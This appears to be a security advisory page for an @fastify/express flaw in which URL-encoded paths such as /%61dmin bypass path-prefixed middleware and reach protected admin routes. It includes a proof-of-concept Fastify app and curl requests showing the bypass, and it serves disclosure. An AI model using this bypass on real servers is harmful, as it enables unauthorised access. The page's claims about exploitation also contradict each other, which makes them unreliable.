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GHSA-g6q3-96cp-5r5m
No affected components available
Summary
A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register fastify-express for Express-style middleware support
await fastify.register(require('@fastify/express'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
fastify.get('/admin/dashboard', async (request, reply) => {
return { message: 'Admin dashboard' };
});
// Start server
try {
await fastify.listen({ port: 3000 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
➜ ~ curl http://206.189.140.29:3000/%61dmin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /%61dmin</pre>
</body>
</html>
(fastify express)
➜ ~ curl http://206.189.140.29:3000/%61dmin
{"message":"Admin panel"}
It differs from CVE-2026-22031 because this is a different npm module with its own code.
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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